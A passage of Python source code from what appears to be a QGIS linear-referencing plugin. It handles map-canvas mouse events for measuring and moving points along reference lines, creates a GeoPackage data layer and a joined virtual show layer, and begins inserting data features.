leftOrRightOfSegment)\n                point_on_line = ref_feature.geometry().closestSegmentWithContext(ref_projected_point_geom.asPoint())\n                # sqr_dist = point_on_line[0]\n                # <0 left, >0 right, ==0 on the line\n                # side = point_on_line[3]\n                # abs_dist = math.sqrt(sqr_dist)\n                # offset = abs_dist * side * -1\n                current_measure = ref_feature.geometry().lineLocatePoint(qgis.core.QgsGeometry.fromPointXY(point_on_line[1]))\n                delta = current_measure - self.rs.last_measure\n                measure = self.rs.current_measure + delta\n                self.rs.current_measure = self.rs.last_measure = max(0, min(measure, ref_feature.geometry().length()))\n                self.show_measure_in_dialogue(self.rs.current_measure)\n                self.show_measure_fract_in_dialogue(self.rs.current_measure / ref_feature.geometry().length())\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n        elif self.rs.tool_mode == 'select_features':\n\n            if self.rs.mouse_down_point:\n                # draw selection-rectangle\n                mouse_move_point = self.iface.mapCanvas().getCoordinateTransform().toMapCoordinates(event.x(), event.y())\n                geom = qgis.core.QgsGeometry.fromRect(qgis.core.QgsRectangle(self.rs.mouse_down_point, mouse_move_point))\n                self.rb_selection_rect.setToGeometry(geom, None)\n                self.rb_selection_rect.show()\n\n        elif self.rs.tool_mode == 'measuring':\n            # running measurement, stop with mouseReleaseEvent()\n            if self.cf.reference_layer_defined:\n                snap_filter = tools.MyToolFunctions.OneLayerFilter(self.ds.refLyr)\n\n                m = self.iface.mapCanvas().snappingUtils().snapToMap(event.pos(), snap_filter)\n                self.snap_indicator.setMatch(m)\n                # qgis.core.QgsPointXY\n\n                if self.snap_indicator.match().type():\n                    snapped_ref_fid = m.featureId()\n                    ref_feature = self.ds.refLyr.getFeature(snapped_ref_fid)\n                    # always, because otherwise no snapping...\n                    snapped_point_xy = self.snap_indicator.match().point()\n                    self.show_snap_coords_in_dialogue(snapped_point_xy)\n                    self.draw_reference_geom(snapped_ref_fid)\n                    self.my_dialogue.qcbn_snapped_ref_fid.select_by_value(0, 256, snapped_ref_fid)\n\n                    snapped_point_geom = qgis.core.QgsGeometry.fromPointXY(snapped_point_xy)\n                    if self.iface.mapCanvas().mapSettings().destinationCrs() != self.ds.refLyr.crs():\n                        snapped_point_geom.transform(qgis.core.QgsCoordinateTransform(self.iface.mapCanvas().mapSettings().destinationCrs(), self.ds.refLyr.crs(), qgis.core.QgsProject.instance()))\n                    measure = ref_feature.geometry().lineLocatePoint(snapped_point_geom)\n\n                    self.show_measure_in_dialogue(measure)\n                    self.show_measure_fract_in_dialogue(measure / ref_feature.geometry().length())\n\n    def dlg_refresh_reference_layer_section(self):\n        \"\"\"re-populates the QComboBoxN with the List of Reference-Layer-Features\"\"\"\n        # Rev. 2023-05-03\n        if self.my_dialogue and self.ds.refLyr:\n            self.my_dialogue.qcbn_snapped_ref_fid.blockSignals(True)\n\n            in_model = QtGui.QStandardItemModel(0, 2)\n            context = qgis.core.QgsExpressionContext()\n            exp = qgis.core.QgsExpression(self.ds.refLyr.displayExpression())\n            for feature in self.ds.refLyr.getFeatures():\n                context.setFeature(feature)\n                disp_exp_evaluated = exp.evaluate(context)\n\n                items = []\n                item = QtGui.QStandardItem()\n                item.setData(feature.id(), 0)\n                item.setData(feature.id(), 256)\n                items.append(item)\n\n                item = QtGui.QStandardItem()\n                item.setData(disp_exp_evaluated, 0)\n                items.append(item)\n\n                item = QtGui.QStandardItem()\n                item.setData(feature.geometry().length(), 0)\n                items.append(item)\n\n                in_model.appendRow(items)\n\n            self.my_dialogue.qcbn_snapped_ref_fid.set_model(in_model)\n\n            if self.rs.snapped_ref_fid is not None:\n                self.my_dialogue.qcbn_snapped_ref_fid.select_by_value(0, 256, self.rs.snapped_ref_fid)\n\n            self.my_dialogue.qcbn_snapped_ref_fid.blockSignals(False)\n\n    def canvasReleaseEvent(self, event: qgis.gui.QgsMapMouseEvent) -> None:\n        \"\"\"mouseUp on canvas\n           further action depending on rs.tool_mode\n           :param event:\n           \"\"\"\n        # Rev. 2023-05-03\n        point_xy = self.iface.mapCanvas().getCoordinateTransform().toMapCoordinates(event.x(), event.y())\n        self.show_map_coords_in_dialogue(point_xy)\n\n        if self.rs.tool_mode == 'move_point':\n            self.vm_pt_edit.hide()\n            if self.cf.measure_completed:\n                ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n\n                ref_projected_point_geom = qgis.core.QgsGeometry.fromPointXY(point_xy)\n                ref_projected_point_geom.transform(qgis.core.QgsCoordinateTransform(self.iface.mapCanvas().mapSettings().destinationCrs(), self.ds.refLyr.crs(), qgis.core.QgsProject.instance()))\n\n                # see https://qgis.org/pyqgis/master/core/QgsGeometry.html#qgis.core.QgsGeometry.closestSegmentWithContext\n                # returns tuple: (sqrDist, minDistPoint, nextVertexIndex, leftOrRightOfSegment)\n                point_on_line = ref_feature.geometry().closestSegmentWithContext(ref_projected_point_geom.asPoint())\n                # sqr_dist = point_on_line[0]\n                # <0 left, >0 right, ==0 on the line\n                # side = point_on_line[3]\n                # abs_dist = math.sqrt(sqr_dist)\n\n                # offset = abs_dist * side * -1\n\n                current_measure = ref_feature.geometry().lineLocatePoint(qgis.core.QgsGeometry.fromPointXY(point_on_line[1]))\n\n                delta = current_measure - self.rs.last_measure\n                #\n                next_measure = self.rs.current_measure + delta\n\n                self.rs.current_measure = max(0, min(next_measure, ref_feature.geometry().length()))\n                self.show_measure_in_dialogue(self.rs.current_measure)\n                self.show_measure_fract_in_dialogue(self.rs.current_measure / ref_feature.geometry().length())\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n                self.rs.last_measure = None\n\n                self.check_settings('before_move_point')\n\n        elif self.rs.tool_mode == 'after_measure':\n            # convenience\n            self.resume_measure()\n        elif self.rs.tool_mode == 'select_features':\n            self.rb_ref.hide()\n            self.vm_pt_edit.hide()\n            self.vm_pt_measure.hide()\n\n            if self.cf.show_layer_complete:\n                if self.rs.mouse_down_point:\n                    self.rs.mouse_up_point = point_xy\n                    # mouse-down == mouse-up ➜ simple click, no rect\n                    if self.rs.mouse_up_point == self.rs.mouse_down_point:\n                        # buffer with 1 percent of the current canvas-Extent\n                        buffer_width = (self.iface.mapCanvas().extent().xMaximum() - self.iface.mapCanvas().extent().xMinimum()) * 0.01\n                        buffer_height = (self.iface.mapCanvas().extent().yMaximum() - self.iface.mapCanvas().extent().yMinimum()) * 0.01\n                        rect = qgis.core.QgsRectangle(self.rs.mouse_up_point.x() - buffer_width, self.rs.mouse_up_point.y() - buffer_height, self.rs.mouse_up_point.x() + buffer_width, self.rs.mouse_up_point.y() + buffer_height)\n                    else:\n                        rect = qgis.core.QgsRectangle(self.rs.mouse_down_point.x(), self.rs.mouse_down_point.y(), self.rs.mouse_up_point.x(), self.rs.mouse_up_point.y())\n\n                    tr = qgis.core.QgsCoordinateTransform(self.iface.mapCanvas().mapSettings().destinationCrs(), self.ds.showLyr.crs(), qgis.core.QgsProject.instance())\n                    projected_rect = tr.transformBoundingBox(rect)\n\n                    request = qgis.core.QgsFeatureRequest()\n                    request.setFilterRect(projected_rect)\n                    request.setFlags(qgis.core.QgsFeatureRequest.ExactIntersect)\n\n                    new_selected_pks = []\n                    for feature in self.ds.showLyr.getFeatures(request):\n                        new_selected_pks.append(feature[self.ds.showLyrBackReferenceField.name()])\n\n                    if len(new_selected_pks) > 0:\n\n                        # like implemented in QGis-Select-Features:\n                        if QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier:\n                            # remove from Selection\n                            for new_pk in new_selected_pks:\n                                if new_pk in self.rs.selected_pks:\n                                    self.rs.selected_pks.remove(new_pk)\n                        elif QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ShiftModifier:\n                            # add to selection\n                            for new_pk in new_selected_pks:\n                                self.rs.selected_pks.append(new_pk)\n                        else:\n                            # replace selection\n                            self.rs.selected_pks = new_selected_pks\n\n                        # make unique\n                        self.rs.selected_pks = list(dict.fromkeys(self.rs.selected_pks))\n\n                        # validate self.rs.selected_pks and select features:\n                        data_fids = []\n                        show_fids = []\n                        for edit_pk in self.rs.selected_pks:\n                            data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n                            if data_feature:\n                                data_fids.append(data_feature.id())\n\n                            show_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.showLyr, self.ds.showLyrBackReferenceField, edit_pk)\n                            if show_feature and show_feature.isValid():\n                                show_fids.append(show_feature.id())\n                        self.ds.showLyr.removeSelection()\n                        self.ds.showLyr.select(show_fids)\n                        self.ds.dataLyr.removeSelection()\n                        self.ds.dataLyr.select(data_fids)\n            else:\n                self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"Missing requirements: No Show-Layer configured...\"))\n            self.rb_selection_rect.hide()\n            self.rs.mouse_down_point = None\n            self.rs.mouse_up_point = None\n            self.dlg_refresh_feature_selection_section()\n        elif self.rs.tool_mode == 'measuring':\n            snap_filter = tools.MyToolFunctions.OneLayerFilter(self.ds.refLyr)\n            m = self.iface.mapCanvas().snappingUtils().snapToMap(event.pos(), snap_filter)\n            if self.snap_indicator.match().type():\n                snapped_point_xy = self.snap_indicator.match().point()\n                snapped_point_geom = qgis.core.QgsGeometry.fromPointXY(snapped_point_xy)\n                snapped_ref_fid = m.featureId()\n                if self.iface.mapCanvas().mapSettings().destinationCrs() != self.ds.refLyr.crs():\n                    snapped_point_geom.transform(qgis.core.QgsCoordinateTransform(self.iface.mapCanvas().mapSettings().destinationCrs(), self.ds.refLyr.crs(), qgis.core.QgsProject.instance()))\n                if snapped_point_geom and snapped_point_geom.asPoint():\n                    self.rs.snapped_ref_fid = snapped_ref_fid\n                    snapped_ref_geom = self.ds.refLyr.getFeature(m.featureId()).geometry()\n                    self.rs.current_measure = snapped_ref_geom.lineLocatePoint(snapped_point_geom)\n                    self.snap_indicator.setVisible(False)\n                    self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                    self.draw_reference_geom(self.rs.snapped_ref_fid)\n                    self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n            # exits this tool-mode, also if no snap occured, showing only the map-x-y-coords for copy&paste f.e.\n            self.check_settings('after_measure')\n            self.dlg_refresh_measure_section()\n            self.dlg_refresh_edit_section()\n\n    def canvasPressEvent(self, event: qgis.gui.QgsMapMouseEvent) -> None:\n        \"\"\"mouseDown on canvas\n\n        .. Note::\n            most actions will be triggered by canvasReleaseEvent\n\n        :param event:\n        \"\"\"\n        # Rev. 2023-05-03\n        point_xy = self.iface.mapCanvas().getCoordinateTransform().toMapCoordinates(event.x(), event.y())\n\n        if self.rs.tool_mode == 'before_move_point':\n            if self.cf.measure_completed:\n                self.draw_edit_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n                ref_projected_point_geom = qgis.core.QgsGeometry.fromPointXY(point_xy)\n                ref_projected_point_geom.transform(qgis.core.QgsCoordinateTransform(self.iface.mapCanvas().mapSettings().destinationCrs(), self.ds.refLyr.crs(), qgis.core.QgsProject.instance()))\n\n                # see https://qgis.org/pyqgis/master/core/QgsGeometry.html#qgis.core.QgsGeometry.closestSegmentWithContext\n                # returns tuple: (sqrDist, minDistPoint, nextVertexIndex, leftOrRightOfSegment)\n                point_on_line = ref_feature.geometry().closestSegmentWithContext(ref_projected_point_geom.asPoint())\n                current_measure = ref_feature.geometry().lineLocatePoint(qgis.core.QgsGeometry.fromPointXY(point_on_line[1]))\n                self.rs.current_measure = self.rs.last_measure = current_measure\n\n                self.show_measure_in_dialogue(self.rs.current_measure)\n                self.show_measure_fract_in_dialogue(self.rs.current_measure / ref_feature.geometry().length())\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n                self.check_settings('move_point')\n\n        elif self.rs.tool_mode == 'select_features':\n            # store self.rs.mouse_down_point as start-point for the feature-selection-rect\n            if event.button() == QtCore.Qt.LeftButton:\n                self.rs.mouse_up_point = None\n                self.rs.mouse_down_point = self.iface.mapCanvas().getCoordinateTransform().toMapCoordinates(event.x(), event.y())\n\n    def s_create_data_layer(self):\n        \"\"\"create a GeoPackage-\"layer\" (geometry-less) for storing the linear-references\"\"\"\n        # Rev. 2023-05-03\n        try_it = True\n        critical_msg = ''\n        success_msg = ''\n        info_msg = ''\n        warning_msg = ''\n        # self.ds.refLyrPkField, necessary because the type of the created Reference-field must fit to the referenced primary-key-field\n        if self.ds.refLyrPkField:\n            # file-dialog for the GeoPackage\n            dialog = QtWidgets.QFileDialog()\n            dialog.setFileMode(QtWidgets.QFileDialog.AnyFile)\n            dialog.setViewMode(QtWidgets.QFileDialog.Detail)\n            dialog.setOption(QtWidgets.QFileDialog.DontUseNativeDialog, True)\n            dialog.setOption(QtWidgets.QFileDialog.DontConfirmOverwrite, True)\n            dialog.setAcceptMode(QtWidgets.QFileDialog.AcceptOpen)\n            dialog.setNameFilter(\"geoPackage (*.gpkg)\")\n            dialog.setWindowTitle(QtCore.QCoreApplication.translate('PolEvt', \"LinearReferencing: Create Point-on-Line-Data-Layer\"))\n            dialog.setDefaultSuffix(\"gpkg\")\n            result = dialog.exec()\n            filenames = dialog.selectedFiles()\n\n            if result:\n                gpkg_path = filenames[0]\n\n                # only three necessary fields\n                data_lyr_fid_field = qgis.core.QgsField(\"fid\", QtCore.QVariant.Int)\n                data_lyr_reference_field = qgis.core.QgsField(\"line_ref_id\", self.ds.refLyrPkField.type())\n                data_lyr_measure_field = qgis.core.QgsField(\"measure\", QtCore.QVariant.Double)\n\n                fields = qgis.core.QgsFields()\n                fields.append(data_lyr_fid_field)\n                fields.append(data_lyr_reference_field)\n                fields.append(data_lyr_measure_field)\n\n                options = qgis.core.QgsVectorFileWriter.SaveVectorOptions()\n                options.driverName = \"gpkg\"\n\n                # already used names in project...\n                used_layer_names = [layer.name() for layer_id, layer in qgis.core.QgsProject.instance().mapLayers().items()]\n                if os.path.isfile(gpkg_path):\n                    # ... and existing GeoPackage\n                    used_layer_names += [lyr.GetName() for lyr in osgeo.ogr.Open(gpkg_path)]\n                    options.actionOnExistingFile = qgis.core.QgsVectorFileWriter.CreateOrOverwriteLayer\n\n                # unique name for the table/layer within project and GeoPackage:\n                table_name = tools.MyToolFunctions.get_unique_layer_name(used_layer_names, 'PointOnLine_Data_Layer_{curr_i}', '1')\n\n                table_name, ok = QtWidgets.QInputDialog.getText(None, f\"LinearReferencing ({gdp()})\", QtCore.QCoreApplication.translate('PolEvt', \"Name for table in GeoPackage:\"), QtWidgets.QLineEdit.Normal, table_name)\n                if not ok or not table_name:\n                    info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user\")\n                    try_it = False\n                elif table_name in used_layer_names:\n\n                    dialog_result = QtWidgets.QMessageBox.question(\n                        None,\n                        \"LinearReferencing\",\n                        qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Replace table {apos}{0}{apos} in GeoPackage {apos}{1}{apos}?\"),table_name, gpkg_path),\n                        buttons=QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.Cancel,\n                        defaultButton=QtWidgets.QMessageBox.Yes\n                    )\n\n                    if dialog_result == QtWidgets.QMessageBox.Yes:\n                        try_it = True\n                    else:\n                        info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user\")\n                        try_it = False\n\n                if try_it:\n                    options.layerName = table_name\n                    # geometry-less table needs anyway three Dummy-Attributes for geometrie-type, projection and transformation\n                    writer = qgis.core.QgsVectorFileWriter.create(\n                        gpkg_path,\n                        fields,\n                        qgis.core.QgsWkbTypes.NoGeometry,\n                        qgis.core.QgsCoordinateReferenceSystem(\"\"),  # dummy\n                        qgis.core.QgsCoordinateTransformContext(),\n                        options\n                    )\n                    # creates a SQLite/SpatialLite-table with such query:\n                    # CREATE TABLE \"LR_Points_Data_25\" ( \"fid\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, \"reference_id\" INTEGER, \"measure\" REAL)\n                    if writer.hasError() == qgis.core.QgsVectorFileWriter.NoError:\n                        # Important:\n                        # \"del writer\" *before* \"addVectorLayer\"\n                        # seems to be is necessary\n                        # else layer is not valid\n                        # perhaps layer is physically created after \"del writer\"?\n                        del writer\n\n                        uri = gpkg_path + '|layername=' + table_name\n                        data_lyr = self.iface.addVectorLayer(uri, table_name, \"ogr\")\n\n                        if data_lyr and data_lyr.isValid():\n                            data_lyr.setFieldConstraint(0, qgis.core.QgsFieldConstraints.Constraint.ConstraintUnique)\n                            data_lyr.setFieldConstraint(0, qgis.core.QgsFieldConstraints.Constraint.ConstraintNotNull)\n                            data_lyr.setFieldConstraint(1, qgis.core.QgsFieldConstraints.Constraint.ConstraintNotNull)\n                            data_lyr.setFieldConstraint(2, qgis.core.QgsFieldConstraints.Constraint.ConstraintNotNull)\n\n                            self.ss.dataLyrId = data_lyr.id()\n                            self.ss.dataLyrIdFieldName = data_lyr_fid_field.name()\n                            self.ss.dataLyrReferenceFieldName = data_lyr_reference_field.name()\n                            self.ss.dataLyrMeasureFieldName = data_lyr_measure_field.name()\n\n                            self.connect_data_layer(data_lyr)\n                            self.check_settings()\n                            self.dlg_refresh_layer_settings_section()\n                            self.dlg_refresh_feature_selection_section()\n                            self.resume_measure()\n\n                            success_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"create table {apos}{0}{apos}.{apos}{1}{apos} successful\"),gpkg_path, table_name)\n                        else:\n                            # if for example the GeoPackage is exclusively accessed by \"DB Browser for SQLite\"...\n                            critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Error creating Data-Layer {apos}{0}{apos}.{apos}{1}{apos}, created layer not valid\"),gpkg_path, table_name)\n\n                    else:\n                        # perhaps write-permission?\n                        critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Error creating Data-Layer {apos}{0}{apos}.{apos}{1}{apos}:{br}{2}\"),gpkg_path, table_name, writer.errorMessage())\n        else:\n            critical_msg = QtCore.QCoreApplication.translate('PolEvt', \"missing requirements...\")\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def s_create_show_layer(self):\n        \"\"\"create a virtual layer gcombining the Data-Layer and the Reference-Layer\"\"\"\n        # Rev. 2023-05-03\n        critical_msg = ''\n        success_msg = ''\n        info_msg = ''\n        warning_msg = ''\n        if self.cf.reference_layer_complete and self.cf.data_layer_complete:\n\n            layer_names = [layer.name() for layer in qgis.core.QgsProject.instance().mapLayers().values()]\n            layer_name = tools.MyToolFunctions.get_unique_layer_name(layer_names, \"PointOnLine_Show_Layer_{curr_i}\", '1')\n\n            # unique name for the  virtual layer within project\n            layer_name, ok = QtWidgets.QInputDialog.getText(None, f\"LinearReferencing ({gdp()})\", QtCore.QCoreApplication.translate('PolEvt', \"Name for virtual Show-Layer:\"), QtWidgets.QLineEdit.Normal, layer_name)\n            if ok and layer_name:\n                show_lyr_sql = \"SELECT\"\n                field_sql_lst = []\n\n                # only the necessary attributes of Data-Layer are included, the other come via join\n                field_sql_lst.append(f\" data_lyr.{self.ds.dataLyrIdField.name()} as \\\"{self.ds.dataLyrIdField.name()}\\\"\")\n                field_sql_lst.append(f\" data_lyr.{self.ds.dataLyrReferenceField.name()} as \\\"{self.ds.dataLyrReferenceField.name()}\\\"\")\n                field_sql_lst.append(f\" data_lyr.{self.ds.dataLyrMeasureField.name()} as \\\"{self.ds.dataLyrMeasureField.name()}\\\"\")\n\n                # Problem/Bug only under windows:\n                # if dataLyr has no records ➜ show_lyr.renderer() == None\n                # Workaround:\n                # Geometry-Expression with \"special comment\" according https://docs.qgis.org/testing/en/docs/user_manual/managing_data_source/create_layers.html#creating-virtual-layers\n                # Bug?\n                field_sql_lst.append(f\" ST_Line_Interpolate_Point(ref_lyr.geometry, data_lyr.\\\"{self.ds.dataLyrMeasureField.name()}\\\"/st_length(ref_lyr.geometry)) as point_geom /*:point:{self.ds.refLyr.crs().postgisSrid()}*/\")\n                show_lyr_sql += ',\\n'.join(field_sql_lst)\n                show_lyr_sql += f\"\\nFROM  \\\"{self.ds.dataLyr.id()}\\\" as data_lyr\"\n                show_lyr_sql += f\"\\n  INNER JOIN \\\"{self.ds.refLyr.id()}\\\" as ref_lyr\"\n                integer_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong]\n                if self.ds.dataLyrReferenceField.type() in integer_field_types:\n                    show_lyr_sql += f\" ON data_lyr.\\\"{self.ss.dataLyrReferenceFieldName}\\\" = ref_lyr.\\\"{self.ds.refLyrPkField.name()}\\\"\"\n                else:\n                    # needed with non-integer join-fields,\n                    # makes the query/layer *very* slow, presumably because of missing indexes?\n                    # ➜ better avoid non-integer PKs\n                    show_lyr_sql += f\" ON (data_lyr.\\\"{self.ss.dataLyrReferenceFieldName}\\\" = ref_lyr.\\\"{self.ds.refLyrPkField.name()}\\\") = True\"\n\n                # urllib.parse.quote\n                # https://docs.python.org/3/library/urllib.parse.html\n                # not necessary\n                # show_lyr_sql_q = urllib.parse.quote(show_lyr_sql)\n\n                uri = f\"?query={show_lyr_sql}\"\n\n                # set uid-Field for virtual Layer via \"&uid=\"\n                # only for integer-PKs\n                # advantage: no artificial fid used, feature.id() returns this value\n                # if the Name of a string-PK would be used for that param\n                # ➜ no error\n                # ➜ the layer will show in canvas\n                # ➜ but the associated table has only *one* record\n                if self.ds.dataLyrIdField.type() in integer_field_types:\n                    uri += f\"&uid={self.ds.dataLyrIdField.name()}\"\n\n                # &geometry=alias used in show_lyr_sql\n                # :1: ➜ point\n                # {epsg} ➜ same as Reference-Layer\n                # anyway under windows:\n                # the \"Virtual Layer Dialog shows for \"Geometry\" allways \"Autodetect\" instead \"Manually defined\", so the whole\n                # \"&geometry=point_geom:Point:25832\"-part seems to be ignored\n                uri += f\"&geometry=point_geom:point:{self.ds.refLyr.crs().postgisSrid()}\"\n\n                show_lyr = qgis.core.QgsVectorLayer(uri, layer_name, \"virtual\")\n\n                if show_lyr and show_lyr.renderer():\n                    qvl_join_data_lyr = qgis.core.QgsVectorLayerJoinInfo()\n                    qvl_join_data_lyr.setJoinLayer(self.ds.dataLyr)\n                    qvl_join_data_lyr.setJoinFieldName(self.ds.dataLyrIdField.name())\n                    qvl_join_data_lyr.setTargetFieldName(self.ds.dataLyrIdField.name())\n                    qvl_join_data_lyr.setUsingMemoryCache(True)\n                    show_lyr.addJoin(qvl_join_data_lyr)\n\n                    qvl_join_ref_lyr = qgis.core.QgsVectorLayerJoinInfo()\n                    qvl_join_ref_lyr.setJoinLayer(self.ds.refLyr)\n                    qvl_join_ref_lyr.setJoinFieldName(self.ds.refLyrPkField.name())\n                    qvl_join_ref_lyr.setTargetFieldName(self.ds.dataLyrReferenceField.name())\n                    qvl_join_ref_lyr.setUsingMemoryCache(True)\n                    show_lyr.addJoin(qvl_join_ref_lyr)\n\n                    atc = show_lyr.attributeTableConfig()\n\n                    # remove duplicates, these fields are almost queried in virtual-layer-uri\n                    hide_field_names = [\n                        f\"{self.ds.dataLyr.name()}_{self.ds.dataLyrIdField.name()}\",\n                        f\"{self.ds.dataLyr.name()}_{self.ds.dataLyrReferenceField.name()}\",\n                        f\"{self.ds.dataLyr.name()}_{self.ds.dataLyrMeasureField.name()}\"\n                    ]\n\n                    columns = atc.columns()\n                    for column in columns:\n                        if column.name in hide_field_names:\n                            column.hidden = True\n\n                    atc.setColumns(columns)\n\n                    show_lyr.setAttributeTableConfig(atc)\n\n                    show_lyr.renderer().symbol().setSizeUnit(qgis.core.QgsUnitTypes.RenderUnit.RenderPixels)\n                    show_lyr.renderer().symbol().setSize(6)\n                    show_lyr.renderer().symbol().setColor(QtGui.QColor(\"orange\"))\n                    show_lyr.renderer().symbol().setOpacity(0.8)\n\n                    show_lyr.setCrs(self.ds.refLyr.crs())\n                    show_lyr.updateExtents()\n                    qgis.core.QgsProject.instance().addMapLayer(show_lyr)\n                    self.ss.showLyrBackReferenceFieldName = self.ds.dataLyrIdField.name()\n                    self.connect_show_layer(show_lyr)\n                    self.check_settings()\n                    self.dlg_refresh_layer_settings_section()\n                    self.dlg_refresh_feature_selection_section()\n                    self.resume_measure()\n\n                    success_msg = QtCore.QCoreApplication.translate('PolEvt', \"Virtual layer created and added...\")\n\n                else:\n                    critical_msg = QtCore.QCoreApplication.translate('PolEvt', \"Error creating virtual layer...\")\n            else:\n                info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user\")\n        else:\n            warning_msg = QtCore.QCoreApplication.translate('PolEvt', \"Please create or configure Reference- and Data-Layer\")\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def s_resume_measure(self):\n        \"\"\"slot for resume_measure\"\"\"\n        # Rev. 2023-05-26\n        self.resume_measure()\n\n    def resume_measure(self):\n        \"\"\"wrapper, resets some runtime-settings and dialog-widgets, hide temporal canvas-graphics, sets tool-mode 'measuring'\"\"\"\n        # Rev. 2023-04-29\n        self.rs.current_measure = None\n        self.rs.snapped_ref_fid = None\n        self.rs.mouse_down_point = None\n        self.rs.mouse_up_point = None\n        self.rs.edit_pk = None\n\n        self.my_dialogue.le_edit_data_pk.clear()\n        self.vm_pt_measure.hide()\n        self.vm_pt_edit.hide()\n        self.rb_ref.hide()\n        self.check_settings('measuring')\n        self.dlg_refresh_measure_section()\n        self.dlg_refresh_edit_section()\n        self.my_dialogue.reset_measure_widgets()\n        self.iface.mapCanvas().setMapTool(self)\n\n    def s_insert_feature(self):\n        \"\"\"opens insert from with some prefilled contents, from which a new can be inserted to Data-Layer\n        data from any currently selected self.rs.edit_pk is cloned\"\"\"\n        # Rev. 2023-04-28\n        try_it = True\n        did_it = False\n\n        success_msg = ''\n        info_msg = ''\n        critical_msg = ''\n        warning_msg = ''\n\n        used_pk = None\n\n        if self.cf.insert_enabled:\n            if self.ds.dataLyr.isEditable():\n                if self.ds.dataLyr.isModified():\n                    dialog_result = QtWidgets.QMessageBox.question(\n                        None,\n                        f\"LinearReferencing Add Feature ({gdp()})\",\n                        qt_format(QtCore.QCoreApplication.translate('PolEvt', \"{div_pre_1}Layer {apos}{0}{apos} is editable!{div_ml_1}[Yes]{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{arrow} End edit session with save{br}[No]{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{arrow} End edit session without save{br}[Cancel]{nbsp}{arrow} Quit...{div_ml_2}{div_pre_2}\"),self.ds.dataLyr.name()),\n                        buttons=QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No | QtWidgets.QMessageBox.Cancel,\n                        defaultButton=QtWidgets.QMessageBox.Yes\n                    )\n\n                    if dialog_result == QtWidgets.QMessageBox.Yes:\n                        self.ds.dataLyr.commitChanges()\n                    elif dialog_result == QtWidgets.QMessageBox.No:\n                        self.ds.dataLyr.rollBack()\n                    else:\n                        try_it = False\n                        info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n                else:\n                    self.ds.dataLyr.rollBack()\n\n            if try_it:\n                # Pre-Check the referenced Feature\n                ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n\n                if ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                    # Feierabend\n\n                    ref_layer_join_value = ref_feature[self.ds.refLyrPkField.name()]\n                    # check, if there is a valuable ID, because self.ds.refLyrPkField can be any field in this layer\n                    if ref_layer_join_value == '' or ref_layer_join_value is None or repr(ref_layer_join_value) == 'NULL':\n                        critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Feature with ID {0} in layer {apos}{1}{apos} has no value in ID-field {apos}{2}{apos}\"),self.rs.snapped_ref_fid, self.ds.refLyr.name(), self.ds.refLyrPkField.name())\n                        try_it = False\n\n                    if ref_feature.geometry().constGet().partCount() > 1:\n                        warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Geometry for feature ID {apos}{0}{apos} in Reference-Layer {apos}{1}{apos} is {2}-parted, Point-on-Line-geometry not calculable\"),self.rs.snapped_ref_fid, self.ds.refLyr.name(), ref_feature.geometry().constGet().partCount())\n                else:\n                    critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"No Reference-feature with ID {apos}{0}{apos} in layer {apos}{1}{apos}\"),self.rs.snapped_ref_fid, self.ds.refLyr.name())\n                    try_it = False\n\n                if try_it:\n                    data_feature = qgis.core.QgsFeature()\n                    data_feature.setFields(self.ds.dataLyr.dataProvider().fields())\n\n                    if self.rs.edit_pk is not None:\n                        # clone data from current selected self.rs.edit_pk\n                        data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, self.rs.edit_pk)\n                        for field in data_feature.fields():\n                            data_feature[field.name()] = data_feature[field.name()]\n\n                    data_feature[self.ds.dataLyrReferenceField.name()] = ref_layer_join_value\n\n                    # if self.ds.refLyr.crs().isGeographic():\n                    #     measure = round(self.rs.current_measure, 6)\n                    # else:\n                    #     measure = round(self.rs.current_measure, 2)\n\n                    # caveat: measure never larger then reference-line-length\n                    measure = max(0, min(ref_feature.geometry().length(), self.rs.current_measure))\n\n                    data_feature[self.ds.dataLyrMeasureField.name()] = measure\n\n                    integer_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong]\n\n                    if self.ds.dataLyrIdField.type() in integer_field_types:\n                        # pre-fetch sequence-value for openFeatureForm for convenience\n                        # normally integer-pk-Field declared as \"INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL\"\n                        current_pks = qgis.core.QgsVectorLayerUtils.getValues(self.ds.dataLyr, self.ds.dataLyrIdField.name(), 